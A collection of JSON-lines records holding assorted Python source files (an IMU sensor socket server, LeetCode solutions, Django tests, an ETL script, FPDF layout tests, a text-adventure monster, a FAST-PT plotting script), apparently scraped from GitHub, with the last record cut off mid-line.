+{"seq_id":"35915335222","text":"import socket\nimport numpy as np\nimport encodings\nimport time\nfrom time import sleep\nimport math\nimport smbus\n\n\nPWR_MGMT_1   = 0x6B\nSMPLRT_DIV   = 0x19\nCONFIG       = 0x1A\nGYRO_CONFIG  = 0x1B\nACCEL_CONFIG = 0x1C\nINT_ENABLE   = 0x38\nACCEL_XOUT_H = 0x3B\nACCEL_YOUT_H = 0x3D\nACCEL_ZOUT_H = 0x3F\nGYRO_XOUT_H  = 0x43\nGYRO_YOUT_H  = 0x45\nGYRO_ZOUT_H  = 0x47\n  \nDevice_Address = 0x68\nmultiplexer_address = 0x70\n                                                                                \nI2C_ch = [0B00000001,\n          0B00000010,\n          0B00000100,\n          0B00001000,\n          0B00010000,\n          0B00100000,\n          0B01000000,\n          0B10000000]\n \ngyroOffsetX={}\ngyroOffsetY={}\ngyroOffsetZ={}\n\nangX={}\nangY={}\nangZ={}\n\n\nip='192.168.1.107'\nport=5005\n\nbus = smbus.SMBus(1)\n\nbuffer=20\nModule_Quantity = 6\ninterval= 0\npreinterval=time.time()\n\n\ndef MPU_Init():\n    bus.write_byte_data(Device_Address, SMPLRT_DIV, 0x07)\n    \n    bus.write_byte_data(Device_Address, PWR_MGMT_1, 0x01)\n    \n    bus.write_byte_data(Device_Address, CONFIG, 0x0)\n    \n    bus.write_byte_data(Device_Address, GYRO_CONFIG, 0x08)\n    \n    bus.write_byte_data(Device_Address, ACCEL_CONFIG, 0x00)\n    \n    bus.write_byte_data(Device_Address, INT_ENABLE, 0x01)\n\ndef read_raw_data(addr):\n    high = bus.read_byte_data(Device_Address, addr)\n    low = bus.read_byte_data(Device_Address, addr+1)\n    \n    value = ((high << 8) | low)\n        \n    if(value > 32768):\n        value = value - 65536\n    return value\n    \ndef dist(a,b):\n    return math.sqrt((a*a)+(b*b))\n\ndef calibration(n):\n    Gx=0\n    Gy=0\n    Gz=0\n    for i in range(3000):\n        gyro_x = read_raw_data(GYRO_XOUT_H)\n        gyro_y = read_raw_data(GYRO_YOUT_H)\n        gyro_z = read_raw_data(GYRO_ZOUT_H)\n    \n        Gx += gyro_x/65.5\n        Gy += gyro_y/65.5\n        Gz += gyro_z/65.5\n        \n        print(i)\n    gyroOffsetX[n]=Gx/3000\n    gyroOffsetY[n]=Gy/3000\n    gyroOffsetZ[n]=Gz/3000\n\n    \n\n\nfor n in range(2):\n    bus.write_byte(multiplexer_address, I2C_ch[n])\n    MPU_Init()\n    calibration(n)\n    angX[n]=0\n    angY[n]=0\n    angZ[n]=0\n    \n    \nprint(gyroOffsetX,gyroOffsetY,gyroOffsetZ)\n\n\n\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind((ip, port))\ns.listen(1)\nprint(\"Server Started waiting for client to connect \")\nconn, addr = s.accept()\nprint('Connnection address: ', addr)\ni=0\nj=0\nwhile 1:\n    for n in range(2):\n        print(n)\n        bus.write_byte(multiplexer_address, I2C_ch[n])\n       \n        acc_x = read_raw_data(ACCEL_XOUT_H)\n        acc_y = read_raw_data(ACCEL_YOUT_H)\n        acc_z = read_raw_data(ACCEL_ZOUT_H)\n    \n        gyro_x = read_raw_data(GYRO_XOUT_H)\n        gyro_y = read_raw_data(GYRO_YOUT_H)\n        gyro_z = read_raw_data(GYRO_ZOUT_H)\n    \n        Ax = acc_x/16384.0\n        Ay = acc_y/16384.0\n        Az = acc_z/16384.0\n    \n        Gx = gyro_x/65.5\n        Gy = gyro_y/65.5\n        Gz = gyro_z/65.5\n    \n        Gx-=gyroOffsetX[n]\n        Gy-=gyroOffsetY[n]\n        Gz-=gyroOffsetZ[n]\n        \n        radians = math.atan2(Ax, dist(Ay,Az))\n        y_rot=-math.degrees(radians)\n       \n        radians = math.atan2(Ay, dist(Ax,Az))\n        x_rot=math.degrees(radians)\n        \n        \n        interval= time.time()-preinterval\n        angX[n] = 0.96*(angX[n]+Gx*interval)+0.04*x_rot\n        angY[n] = 0.96*(angY[n]+Gy*interval)+0.04*y_rot\n        angZ[n] += Gz*interval\n        preinterval=time.time()\n    \n        my_data = \"{},{},{},{};\".format(n,angX[n],angY[n],angZ[n])\n        print(my_data)\n        if (n==0):\n            j+=1\n        print(\"Per model: \", j)\n        i+=1\n        print(\"Total: \", i)\n        x_encoded_data = my_data.encode('utf-8')\n        conn.sendall(x_encoded_data)\n    \nconn.close()\n\n","repo_name":"blackduffelbag/diplom","sub_path":"module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":3715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"74263013687","text":"import sql_function as sql\r\nimport json\r\n\r\ndef delete_management(request, self):\r\n    if(request[\"type\"] == \"private\"):\r\n        filename = request[\"file_name\"]\r\n        username = request[\"username\"]\r\n        result = sql.delete_file(filename,username)\r\n        if(result == 1):\r\n            reply = {\r\n                \"success\": True\r\n            }\r\n        else:\r\n            reply = {\r\n                \"success\": False\r\n            }\r\n        self.request.send(json.dumps(reply).encode())\r\n    elif(request[\"type\"] == \"group\"):\r\n        group_id = request[\"groupname\"]\r\n        filename = request[\"file_name\"]\r\n        result = sql.delete_group_file(group_id,filename)\r\n        if(result == 1):\r\n            reply = {\r\n                \"success\": True\r\n            }\r\n        else:\r\n            reply = {\r\n                \"success\": False\r\n            }\r\n        self.request.send(json.dumps(reply).encode())\r\n    return 1\r\n","repo_name":"SY17900/School_Work","sub_path":"netdisk/netdisk_server/delete_function.py","file_name":"delete_function.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"40159606526","text":"class Solution:\n    def findKthLargest(self, nums, k):\n        def swap(nums, i, j):\n            tmp = nums[i]\n            nums[i] = nums[j]\n            nums[j] = tmp\n        def partition(nums, left, right):\n            org_left = left\n            org_right = right\n            idx = nums[org_left]\n            left += 1\n            while left <= right:\n                while left <= right and nums[right] <= idx:\n                    right -= 1\n                while left <= right and nums[left] >= idx:\n                    left += 1\n                if right < left:\n                    break\n                swap(nums, left, right)\n            swap(nums, org_left, right)\n            return right\n        def quick_select():\n            left = 0\n            right = len(nums) - 1\n            while True:\n                pos = partition(nums, left, right)\n                if pos == k-1:\n                    return nums[pos]\n                elif pos > k-1:\n                    right = pos - 1\n                else:\n                    left = pos + 1\n        return quick_select()\n\n\nprint(Solution().findKthLargest([3,2,1,5,6,4] , 2))\n\n","repo_name":"luoyanhan/Algorithm-and-data-structure","sub_path":"Leetcode/medium/215.py","file_name":"215.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"22516953627","text":"#!/usr/bin/env python\n\nfrom typing import List\n\n# Definition for a binary tree node.\nclass TreeNode:\n    def __init__(self, val=0, left=None, right=None):\n        self.val = val\n        self.left = left\n        self.right = right\n\nclass Solution:\n    def buildTree(self, inorder: List[int], postorder: List[int]) -> TreeNode:\n        in_order_map = {v: i for i, v in enumerate(inorder)}\n\n        def build(in_s, in_e, post_e):\n            if in_s > in_e: return\n            if in_s == in_e: return TreeNode(inorder[in_s])\n            root_v = postorder[post_e]\n            pivot = in_order_map[root_v]    # 根节点在inorder中的位置\n            r = in_e - pivot\n\n            root = TreeNode(root_v)\n            root.left = build(in_s, pivot - 1, post_e - r - 1)\n            root.right = build(pivot + 1, in_e, post_e - 1)\n            return root\n\n        n = len(inorder)\n        return build(0, n-1, n-1)","repo_name":"ftakanashi/JobProjects","sub_path":"LeetCode/106.从中序与后序遍历序列构造二叉树/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"5082767798","text":"from django.contrib.contenttypes.models import ContentType\n\nfrom toolbox.models import Subsets\nfrom bemas.models import Complaint, Organization, Originator, Sector, Status, TypeOfImmission\nfrom .base import DefaultViewTestCase\nfrom .constants_vars import VALID_POINT_DB\n\n\n#\n# general views\n#\n\nclass IndexViewTest(DefaultViewTestCase):\n  \"\"\"\n  test class for main page\n  \"\"\"\n\n  def setUp(self):\n    self.init()\n\n  def test_view_no_rights(self):\n    self.generic_view_test(\n      False, False, 'index', None, 200,\n      'text/html; charset=utf-8', 'keine Rechte'\n    )\n\n  def test_view_standard_rights(self):\n    self.generic_view_test(\n      True, False, 'index', None, 200,\n      'text/html; charset=utf-8', 'Codelisten'\n    )\n\n\nclass MapViewTest(DefaultViewTestCase):\n  \"\"\"\n  test class for map page\n  \"\"\"\n\n  @classmethod\n  def setUpTestData(cls):\n    organization = Organization.objects.create(\n      name='N1YvcbxM'\n    )\n    sector = Sector.objects.first()\n    originator = Originator.objects.create(\n      sector=sector,\n      operator_organization=organization,\n      description='NutMoxfw',\n      emission_point=VALID_POINT_DB\n    )\n    status = Status.get_default_status()\n    type_of_immission = TypeOfImmission.objects.first()\n    complaint = Complaint.objects.create(\n      status=status,\n      type_of_immission=type_of_immission,\n      immission_point=VALID_POINT_DB,\n      originator=originator,\n      description='e506TjLt'\n    )\n    Subsets.objects.create(\n      model=ContentType.objects.filter(\n        app_label='bemas',\n        model='originator'\n      ).first(),\n      pk_field='id',\n      pk_values=[\n        originator.pk\n      ]\n    )\n    Subsets.objects.create(\n      model=ContentType.objects.filter(\n        app_label='bemas',\n        model='complaint'\n      ).first(),\n      pk_field='id',\n      pk_values=[\n        complaint.pk\n      ]\n    )\n\n  def setUp(self):\n    self.init()\n\n  def test_view_no_rights(self):\n    self.generic_view_test(\n      False, False, 'map', None, 200,\n      'text/html; charset=utf-8', 'keine Rechte'\n    )\n\n  def test_view_standard_rights(self):\n    self.generic_view_test(\n      True, False, 'map', None, 200,\n      'text/html; charset=utf-8', 'Immissions- und Emissionsorte'\n    )\n\n  def test_view_originator_subset_no_rights(self):\n    self.generic_view_test(\n      False, False, 'map_model_subset', ['originator', 1], 200,\n      'text/html; charset=utf-8', 'keine Rechte'\n    )\n\n  def test_view_originator_subset_standard_rights(self):\n    self.generic_view_test(\n      True, False, 'map_model_subset', ['originator', 1], 200,\n      'text/html; charset=utf-8', 'Kartendaten angezeigt'\n    )\n\n  def test_view_complaint_subset_no_rights(self):\n    self.generic_view_test(\n      False, False, 'map_model_subset', ['complaint', 1], 200,\n      'text/html; charset=utf-8', 'keine Rechte'\n    )\n\n  def test_view_complaint_subset_standard_rights(self):\n    self.generic_view_test(\n      True, False, 'map_model_subset', ['complaint', 1], 200,\n      'text/html; charset=utf-8', 'Kartendaten angezeigt'\n    )\n\n\nclass OrphanedDataViewTest(DefaultViewTestCase):\n  \"\"\"\n  test class for orphaned data page\n  \"\"\"\n\n  def setUp(self):\n    self.init()\n\n  def test_view_no_rights(self):\n    self.generic_view_test(\n      False, False, 'orphaned_data', None, 200,\n      'text/html; charset=utf-8', 'keine Rechte'\n    )\n\n  def test_view_standard_rights(self):\n    self.generic_view_test(\n      True, False, 'orphaned_data', None, 200,\n      'text/html; charset=utf-8', 'keine verwaisten'\n    )\n","repo_name":"rostock/datenwerft","sub_path":"bemas/tests/tests_general.py","file_name":"tests_general.py","file_ext":"py","file_size_in_byte":3533,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"22092374855","text":"import sys\nimport serial\nfrom   virtual_controller import VirtualController\n\n\nclass Controller(VirtualController):\n\n    def __init__(self, device):\n        VirtualController.__init__(self)\n        self.serial = serial.Serial(device)\n\n    def _write(self, cmd):\n        if sys.version_info[0] == 2:\n            self.serial.write(cmd)\n        else:\n            self.serial.write(bytes(cmd, 'latin-1'))\n\n","repo_name":"CedarStreetGarage/python-joystick-servo-stepper-controller","sub_path":"src/control/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"21326451096","text":"import json\nimport qrcode\n\nfrom pytest \t\timport approx\nfrom fpdf\t\timport FPDF, FlexTemplate\n\nfrom .layout\t\timport Region, Text, Image, Box, Coordinate\nfrom .defaults\t\timport MM_IN\n\n\ndef test_Region():\n    card_size\t\t\t= Coordinate( y=2+1/4, x=3+3/8 )\n    card_margin    \t\t= 1/8\n    card\t\t\t= Box( 'card', 0, 0, card_size.x, card_size.y )\n    #print( card )\n    card_interior\t\t= card.add_region_relative(\n        Region( 'card-interior', x1=+card_margin, y1=+card_margin, x2=-card_margin, y2=-card_margin )\n    )\n    #print( card_interior )\n    assert card_interior.x1 == card_margin\n    assert card_interior.x2 == card_size.x - card_margin\n    assert card_interior.y2 == card_size.y - card_margin\n    assert card_interior.x2 - card_interior.x1 == card_size.x - card_margin * 2\n\n    card_qr\t\t\t= card_interior.add_region_proportional(\n        Image( 'card-qr', x1=1/2, y1=1/4, x2=1, y2=1 )\n    ).square( maximum=1, justify='BR' )\n    card_interior.add_region_proportional(\n        Box( 'card-box-ul', x1=1/2, y1=1/4, x2=1, y2=1 )\n    ).square( maximum=.5, justify='TL' )\n    card_interior.add_region_proportional(\n        Box( 'card-box-cm', x1=1/2, y1=1/4, x2=1, y2=1 )\n    ).square( maximum=.5 )\n    card_interior.add_region_proportional(\n        Box( 'card-box-br', x1=1/2, y1=1/4, x2=1, y2=1 )\n    ).square( maximum=.5, justify='BR' )\n\n    #card_qr.x1\t\t\t= card_qr.x2 - 1.0\n    #card_qr.y1\t\t\t= card_qr.y2 - 1.0\n    #print( card_qr )\n    assert card_qr.x1 == 2.25\n    assert card_qr.y1 == 1.125\n\n    elements\t\t\t= list( card.elements() )[1:]\n    print( json.dumps( elements, indent=4 ))\n    assert len( elements ) == 4\n    assert elements[0]['type'] == 'I'\n\n    card_top\t\t\t= card_interior.add_region_proportional(\n        Region( 'card-top', x1=0, y1=0, x2=1, y2=1/3 )\n    )\n    card_top.add_region_proportional(\n        Text( 'card-title', x1=0, y1=0, x2=1, y2=40/100 )\n    )\n\n    elements\t\t\t= list( card.elements() )[1:]\n    print( json.dumps( elements, indent=4 ))\n    assert elements[-1]['type'] == 'T'\n    assert elements[-1]['font'] == 'helvetica'\n    assert elements[-1]['size'] == approx( 14.4 )\n\n    pdf\t\t\t\t= FPDF()\n    pdf.add_page()\n\n    tpl\t\t\t\t= FlexTemplate( pdf, list( card.elements() ) )\n    tpl['card-qr']\t\t= qrcode.make( 'abc' ).get_image()\n    tpl['card-title']\t\t= 'Abc'\n    # Abc in upper-left\n    tpl.render()\n\n    tpl['card-qr']\t\t= qrcode.make( 'abc' ).get_image()\n    tpl['card-title']\t\t= 'Xyz'\n    # Xyz in lower-right\n    tpl.render( offsetx = card_size.x * MM_IN, offsety = card_size.y * MM_IN )\n\n    #pdf.output( \"test.pdf\" ) # To view results in test.pdf, uncomment\n","repo_name":"pjkundert/python-slip39","sub_path":"slip39/output_test.py","file_name":"output_test.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"77"}
+{"seq_id":"42944447901","text":"from adventure.lib.monster import Monster\nfrom adventure.items.key import Key\n\nclass Rat(Monster):\n    def __init__(self):\n        super().__init__()\n        self.name = \"Rat\"\n        self.description = \"That rat looks like it might be sick. I should be careful not to get bit!\"\n        #Set the Rat's starting health to 2 so that the player only has to attack the Rat twice to kill it\n        self.health = 2\n        #Set the Rat's attack_value to 1 so that it takes the rat 10 strikes to kill the player\n        self.attack_value = 1\n        self.actions = {\"search\" : self.do_search_corpse}\n        self.my_map_string = \"Rat\"\n\n    def respond_to_hit(self, player):\n        if self.health:\n            print(\"- - - Keep striking it! - - -\")\n\n    def do_search_corpse(self, verb, args, player):\n        key = Key()\n        key.move(self.environment)\n        print(f\"As you search the {self.name} you hear a {key.name} hit the floor! You should 'Collect' it!\")\n        self.environment.inventory.remove(self)\n        self.environment = None\n        key.introduce(player)\n        return True\n\n    def hit(self, attack_value):\n        super().hit(attack_value)\n        if not self.is_alive:\n            self.my_map_string = \"XO-\"\n            print(f\"Perhaps you can 'Search {self.name}'\")\n\n    def introduce(self, player):\n        if not super().introduce(player):\n            return\n        self.print_rat()\n\n    def print_rat(self):\n        print(\n        \"\"\"\nYou stumble into a giant rat! Perhaps you could 'strike rat'?\n             _     __,..---\"\"-._                 ';-,\n    ,    _/_),-\"`             '-.                `\\\\\\\\\n   \\|.-\"`    -_)                 '.                ||\n   /`   a   ,                      \\              .'/\n   '.___,__/                 .-'    \\_        _.-'.'\n      |\\  \\      \\         /`        _`\"\"\"\"\"\"`_.-'\n         _/;--._, >        |   --.__/ `\"\"\"\"\"\"`\n       (((-'  __//`'-......-;\\      )\n            (((-'       __//  '--. /\n                      (((-'    __//\n                             (((-'\n        \"\"\")","repo_name":"coder-crusade/adventure","sub_path":"adventure/monsters/rat.py","file_name":"rat.py","file_ext":"py","file_size_in_byte":2048,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"7756194756","text":"\"\"\"Reorganizing data\"\"\"\n\nimport pandas as pd\nimport glob\nimport datetime as dt\n\nfrom script.common.func import (check_none_sotnam, start_date)\nfrom script.etl.database import (\n    conn_bd_oemz, load_inputs_all, load_nomenclature\n)\n\n\ndef prepare_csv():\n    \"\"\"Prepare csv tables\"\"\"\n\n    CONN = conn_bd_oemz()\n    INPUTS_ALL = load_inputs_all(CONN)\n    N_DAYS = 7\n    NOM = load_nomenclature(CONN)\n    DONE_TABLE = load_req_plus_inputs(N_DAYS, INPUTS_ALL, NOM)\n    DETAIL_TABLE, SUMMARY_TABLE = reshape_summary_table(DONE_TABLE, N_DAYS, NOM)\n\n    DETAIL_TABLE.to_csv(r\".\\tables\\detail.csv\", sep=';', encoding='ansi')\n    SUMMARY_TABLE.to_csv(r\".\\tables\\summary.csv\", sep=';', encoding='ansi')\n\n\ndef reshape_inputs(inp1, nom1, date1, n_days1):\n    \"\"\"Построение таблицы с поступлениями:\n        - только металл\n        - по заданному интервалу дат\n        - итоговая гру\n    :arg inp1 - поступления\n    :arg nom1 - словарь номенклатуры из bd_oemz.bd3\n    :arg date1 - нижняя дата интервала\n    :arg n_days1 - для расчета верхней границы интервала (date1 + n_days1)\"\"\"\n\n    inp1 = inp1[\n        (inp1.date >= date1) &\n        (inp1.date <= date1 + dt.timedelta(days=n_days1))\n    ]\n    inp1 = inp1.merge(\n        nom1[['code', 'indicator']],\n        how='left',\n        left_on='nom_code',\n        right_on='code'\n    )\n    inp1 = inp1[inp1.indicator == 'Металлопрокат'].drop(columns=['indicator', 'code'])\n    return inp1\n\n\ndef load_req_plus_inputs(n_days1, inputs_, nom_):\n    \"\"\"Загрузка потребностей из файлов типа ask_date.csv\n    (то есть на каждую дату создания файла),\n    мерж к них поступлений через код номекнлатуры.\n    На выходе таблица потребностей и поступлений и дат, где даты создания файлов.\n    Выход в формате DataFrame\n    p.s. Inputs загружаются один раз из базы, так как занимают мало памяти.\n    :arg n_days1 - для расчета верхней границы интервала (strt_date + n_days1)\n    :arg inputs_ - table with inputs\n    :arg nom_ - table with nomenclatures\"\"\"\n\n    goal_path = r\"W:\\Analytics\\Илья\\Задание 14 Расчет потребности для МТО\\data\\*.csv\"\n    output_table1 = pd.DataFrame()\n    for i_path in glob.glob(goal_path):  # проход по всех файлам\n        \"\"\"Подготовка поотребностей\"\"\"\n        path = i_path\n        req = pd.read_csv(\n            path, sep=';',\n            parse_dates=['Дата запуска'],\n            dayfirst=True, encoding='ansi',\n            usecols=[\n                'Дата запуска', 'Код', 'Заказ обеспечен', 'Пометка удаления',\n                'Списание из Поступлений', 'Остаток дефицита'\n            ]\n        )\n        req = req[\n            (req['Заказ обеспечен'] == 0) &\n            (req['Пометка удаления'] == 0)\n        ]  # оставляем строки без индикации обеспеченности и удаления\n        req['all_req'] = (\n                req['Остаток дефицита'] + req['Списание из Поступлений']\n        )  # складываем остаток дефицита и поступления\n        req = req[['Дата запуска', 'Код', 'all_req']]\n        req = req.rename(\n            columns={'Дата запуска': 'date', 'Код': 'nom_code', 'all_req': 'req'}\n        )\n        req = req[req['req'] != 0]  # остаются строки != 0\n\n        \"\"\"Выборка по нужным датам и мерж поступлений с потребностями\"\"\"\n        strt_date = start_date(path)\n        need_inputs = reshape_inputs(inputs_, nom_, strt_date, n_days1)  # need_inputs - это поступления за нужный промежуток времени\n        req = req[(req.date <= strt_date + dt.timedelta(days=n_days1))]  # выбираем потребность для нужного промежутка ��ремени\n        need_inputs = need_inputs[\n            ['nom_code', 'amount']\n        ].groupby(by=['nom_code']).sum().reset_index()\n        req = req[['nom_code', 'req']].groupby(by=['nom_code']).sum().reset_index()\n        req = req.merge(\n            need_inputs, how='outer', on='nom_code'\n        ).replace({None: 0})  # тут получаем сравнение потребности и поступлений\n        req = req.rename(columns={'amount': 'inputs'})\n        req['date_start'] = strt_date\n        output_table1 = pd.concat([output_table1, req])\n    return output_table1\n\n\ndef reshape_summary_table(table1, n_days1, nom_):\n    \"\"\"Преборазовывает таблицу потребностей и поступлений из load_req_plus_inputs():\n        - мерж с сортаментом\n        - группировка по дате и сортаменту\n        - расчет in_plan, out_plan, out_nom\n    На выходе 2 таблрицы table1, summary_table:\n        - table1 = таблица по сортаментам\n        - summary_table = table1, схлопнутая по датам\n    :arg table1 - таблица из load_req_plus_inputs(n_days1)\n    :arg n_days1 - для расчета верхней границы интервала (strt_date + n_days1)\n    :arg nom_ - table with nomenclatures\"\"\"\n\n    nom_sortam = pd.read_excel(\n        r\"W:\\Analytics\\Илья\\Задание 14 Расчет потребности для МТО\\dicts\\dict_nom.xlsx\",\n        usecols=['Номенклатура', 'Сортамент']\n    ).drop_duplicates()\n    code_sortam = nom_.merge(nom_sortam, how='left', left_on='name', right_on='Номенклатура')\n    code_sortam = code_sortam[['code', 'Сортамент']].rename(\n        columns={'Сортамент': 'sortam', 'code': 'nom_code'}\n    )\n    table1 = table1.merge(code_sortam, how='left', on='nom_code')  # добавляем сортамент\n\n    check_none_sotnam(table1)  # проверка отсутствия None в столбце с сортаментом\n\n    table1 = table1.drop(columns=['nom_code'])\n    table1 = table1.groupby(by=['date_start', 'sortam']).sum().reset_index()\n\n    \"\"\"Рассчеты in_plan, out_plan, out_nom\"\"\"\n    table1['in_plan'] = table1['inputs'].where(\n        table1['req'] > table1['inputs'],\n        table1['req']\n    )\n    table1['out_plan'] = 0\n    table1['out_plan'] = table1['out_plan'].where(\n        ~((table1['req'] != 0) & (table1['inputs'] > table1['req'])),\n        table1['inputs'] - table1['req']\n    )\n    table1['out_nom'] = 0\n    table1['out_nom'] = table1['out_nom'].where(\n        ~((table1['req'] == 0) & (table1['inputs'] > table1['req'])),\n        table1['inputs'] - table1['req']\n    )\n    table1['date_end'] = table1.date_start + dt.timedelta(days=n_days1)\n    table1 = table1[[\n        'date_start', 'date_end', 'sortam', 'req',\n        'in_plan', 'out_plan', 'out_nom'\n    ]]\n\n    summary_table1 = table1.groupby(by='date_start').sum().reset_index()\n    summary_table1['percent'] = summary_table1.in_plan / summary_table1.req * 100\n    summary_table1['date_end'] = summary_table1.date_start + dt.timedelta(days=n_days1)\n    summary_table1 = summary_table1[[\n        'date_start', 'date_end', 'req', 'in_plan',\n        'percent', 'out_plan', 'out_nom'\n    ]]\n    return table1, summary_table1\n","repo_name":"smolinilya01/procurement_plan_fact","sub_path":"script/etl/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":7784,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"22050714877","text":"from typing import List\n\nimport torch\nfrom torch import Tensor\nfrom torchmetrics.audio import ScaleInvariantSignalDistortionRatio as SISDR\n\nfrom src.base.base_metric import BaseMetric\n\n\nclass SISDRMetric(BaseMetric):\n    def __init__(self, device, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.device = device\n        self.sisdr = SISDR().to(device)\n\n    def __call__(self, pred, target, *args, **kwargs):\n        valid_size = min(pred.size(-1), target.size(-1))\n        sisdrs = [\n            self.sisdr(\n                pred[i, 0, :valid_size].to(self.device),\n                target[i, 0, :valid_size].to(self.device),\n            )\n            for i in range(pred.size(0))\n            if torch.isfinite(pred[i, 0]).all()\n        ]\n        return (sum(sisdrs) / len(sisdrs)).squeeze().detach().cpu().item()\n","repo_name":"LeoProko/ss_hw","sub_path":"src/metric/sisdr.py","file_name":"sisdr.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"313190599","text":"'''\n    Example script to plot the\n    galaxy componets using the FASTPT algorithm.\n\n    Additionally the code also makes use of extending the power spectrum out\n    to higher and lower k to alliviate edge effects.\n\n    The parameters low_extrap and high_extrap control the extension of P_{lin}(k)\n    out to lower and higher k values by extrapolating using the effective power-law\n    index n_{eff}= dlogP/dlogk.\n'''\n\n\nimport numpy as np\n# example data\nd=np.loadtxt('P_bias_example.dat')\n#print('shape', d.shape)\n'''\n0: k [in h/Mpc]\n1: Plin (scales as D^2)\n2: P22 (scales as D^4)\n3: P13 (scales as D^4)\n4: b1 b2 (scales as D^4)\n5: b2^2 (scales as D^4)\n6: bs^2 (scales as D^4)\n7: b1 bv (no advection) (scales as D^2)\n8: b1 bv Ls (scales as D^2)\n9: b2 bv (scales as D^2)\n10: bs bv (scales as D^2)\n11: bv^2 (constant )\n'''\n\n# example use of FASTPTII\nk=d[:,0]; P_lin=d[:,1]\n\nfrom fastpt import FASTPT\nfrom time import time\nC_window=.65\nn_pad=1000\n\nt1=time()\n# initialize the FASTPT class\nnu=-2\nfastpt=FASTPT.FASTPT(k,-2,n_pad=n_pad)\n\nP_1loop=fastpt.one_loop(P_lin,C_window=C_window)\n_,Pd1d2, Pd2d2, Pd1s2, Pd2s2, Ps2s2, sig4 =fastpt.P_bias(P_lin,C_window=C_window)\nt2=time()\nprint('The time to make density-density type power spectra is ', t2-t1,' .')\n\n\n# plot the output\nimport matplotlib.gridspec as gridspec\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import ScalarFormatter, FormatStrFormatter\ngs = gridspec.GridSpec(2,3, height_ratios=[2,1.25])\n\n\nfig=plt.figure(figsize=(16,10))\n\n#x1=10**(-2.5)\n#x2=50\nx1=10**(-5)\nx2=100\nx1=k[0]\nx2=k[-1]\nax1=fig.add_subplot(gs[0,0])\n#ax1.set_ylim(1e-2,1e3)\nax1.set_xlim(x1,x2)\nax1.set_xscale('log')\nax1.set_yscale('log')\nax1.set_ylabel(r'$P(k)$ [Mpc/$h$]$^3$', size=20)\nax1.tick_params(axis='both', which='major', labelsize=20)\nax1.tick_params(axis='both', width=2, length=10)\nax1.tick_params(axis='both', which='minor', width=1, length=5)\n#ax1.xaxis.set_major_formatter(FormatStrFormatter('%2.2f'))\nax1.xaxis.labelpad = 20\nax1.set_xticklabels([])\n\nax1.plot(k,P_1loop, lw=2,color='black', label=r'$P_{22}(k) + P_{13}(k)$, FAST-PT ' )\nax1.plot(k,-P_1loop, '--',lw=2, color='black', alpha=.5 )\nplt.legend(loc=3)\nplt.grid()\n\nax2=fig.add_subplot(gs[1,0])\nax2.set_xscale('log')\nax2.set_xlabel(r'$k$ [$h$/Mpc]', size=20)\nax2.set_ylabel('ratio', size=20)\nax2.set_ylim(.99,1.01)\nax2.set_xlim(x1,x2)\nax2.tick_params(axis='both', which='major', labelsize=20)\nax2.tick_params(axis='both', width=2, length=10)\nax2.tick_params(axis='both', which='minor', width=1, length=5)\n#ax2.xaxis.set_major_formatter(FormatStrFormatter('%2.2f'))\nax2.xaxis.labelpad = 20\n\n\nax2.plot(d[:,0],P_1loop/(d[:,2]+d[:,3]),lw=2, color='black', alpha=.5)\nplt.grid()\n\n##########################################################################\nax1=fig.add_subplot(gs[0,1])\n#ax1.set_ylim(1e-2,1e3)\nax1.set_xlim(x1,x2)\nax1.set_xscale('log')\nax1.set_yscale('log')\nax1.set_ylabel(r'$P(k)$ [Mpc/$h$]$^3$', size=20)\nax1.tick_params(axis='both', which='major', labelsize=20)\nax1.tick_params(axis='both', width=2, length=10)\nax1.tick_params(axis='both', which='minor', width=1, length=5)\n#ax1.xaxis.set_major_formatter(FormatStrFormatter('%2.4f'))\nax1.xaxis.labelpad = 20\nax1.set_xticklabels([])\n\nax1.plot(k,Pd1d2, lw=2, color='black',label=r'$b_1 b_2$, FAST-PT ' )\nax1.plot(k,Pd2d2, '--', lw=2,color='red', label=r'$b_2^2$, FAST-PT ' )\nplt.legend(loc=3)\n\nplt.grid()\n\nax2=fig.add_subplot(gs[1,1])\nax2.set_xscale('log')\nax2.set_xlabel(r'$k$ [$h$/Mpc]', size=20)\nax2.set_ylabel('ratio', size=20)\nax2.set_ylim(.99,1.01)\nax2.set_xlim(x1,x2)\nax2.tick_params(axis='both', which='major', labelsize=20)\nax2.tick_params(axis='both', width=2, length=10)\nax2.tick_params(axis='both', which='minor', width=1, length=5)\n#ax2.xaxis.set_major_formatter(FormatStrFormatter('%2.4f'))\nax2.xaxis.labelpad = 20\n\n\nax2.plot(k,Pd1d2/d[:,4], lw=2,color='black', alpha=.5, label=r'$b_1 b_2$, FAST-PT ' )\nax2.plot(k,Pd2d2/d[:,5]/4., '--', lw=2,color='red', label=r'$b_2^2$, FAST-PT ' )\nplt.grid()\n\n##########################################################################\nax1=fig.add_subplot(gs[0,2])\n#ax1.set_ylim(1e-2,1e3)\nax1.set_xlim(x1,x2)\nax1.set_xscale('log')\nax1.set_yscale('log')\nax1.set_ylabel(r'$P(k)$ [Mpc/$h$]$^3$', size=20)\nax1.tick_params(axis='both', which='major', labelsize=20)\nax1.tick_params(axis='both', width=2, length=10)\nax1.tick_params(axis='both', which='minor', width=1, 